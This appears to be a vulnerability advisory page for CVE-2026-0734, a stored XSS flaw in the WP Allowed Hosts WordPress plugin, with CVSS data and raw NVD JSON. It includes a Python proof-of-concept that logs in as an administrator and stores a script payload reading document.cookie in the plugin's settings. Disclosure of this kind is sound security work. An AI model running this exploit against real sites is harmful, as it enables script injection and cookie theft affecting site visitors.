Security Vulnerability Report
中文
CVE-2026-0734 CVSS 4.4 MEDIUM

CVE-2026-0734

Published: 2026-01-14 07:16:15
Last Modified: 2026-04-15 00:35:42

Description

The WP Allowed Hosts plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'allowed-hosts' parameter in all versions up to, and including, 1.0.8 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled.

CVSS Details

CVSS Score
4.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

WP Allowed Hosts插件 <= 1.0.8

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import re # CVE-2026-0734 PoC - WP Allowed Hosts Stored XSS # Target: WordPress site with WP Allowed Hosts plugin <= 1.0.8 target_url = "http://target-wordpress-site.com" admin_path = "/wp-admin/admin.php?page=wp-allowed-hosts" # Authentication (requires admin privileges) login_data = { "log": "admin_username", "pwd": "admin_password", "wp-submit": "Log In" } session = requests.Session() # Step 1: Login to WordPress admin login_url = f"{target_url}/wp-login.php" resp = session.post(login_url, data=login_data, allow_redirects=True) # Step 2: Inject XSS payload via plugin settings xss_payload = '<script>alert(document.cookie)</script>' settings_data = { "allowed-hosts": xss_payload, "submit": "Save Changes" } settings_url = f"{target_url}{admin_path}" resp = session.post(settings_url, data=settings_data) # Step 3: Verify XSS is stored and executed # When any user visits pages using allowed-hosts functionality, # the XSS payload will be executed print(f"XSS payload sent: {xss_payload}") print(f"Response status: {resp.status_code}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-0734", "sourceIdentifier": "[email protected]", "published": "2026-01-14T07:16:15.303", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The WP Allowed Hosts plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'allowed-hosts' parameter in all versions up to, and including, 1.0.8 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled."}, {"lang": "es", "value": "El plugin WP Allowed Hosts para WordPress es vulnerable a cross-site scripting almacenado a través del parámetro 'allowed-hosts' en todas las versiones hasta la 1.0.8, inclusive, debido a una sanitización de entrada y un escape de salida insuficientes. Esto hace posible que atacantes autenticados, con acceso de nivel de administrador o superior, inyecten scripts web arbitrarios en páginas que se ejecutarán cada vez que un usuario acceda a una página inyectada. Esto solo afecta a instalaciones multisitio y a instalaciones donde se ha deshabilitado unfiltered_html."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N", "baseScore": 4.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/wp-allow-hosts/tags/1.0.8/allowed-hosts.php#L170", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/wp-allow-hosts/trunk/allowed-hosts.php#L170", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/700e9d1c-a178-4033-8607-652178860211?source=cve", "source": "[email protected]"}]}}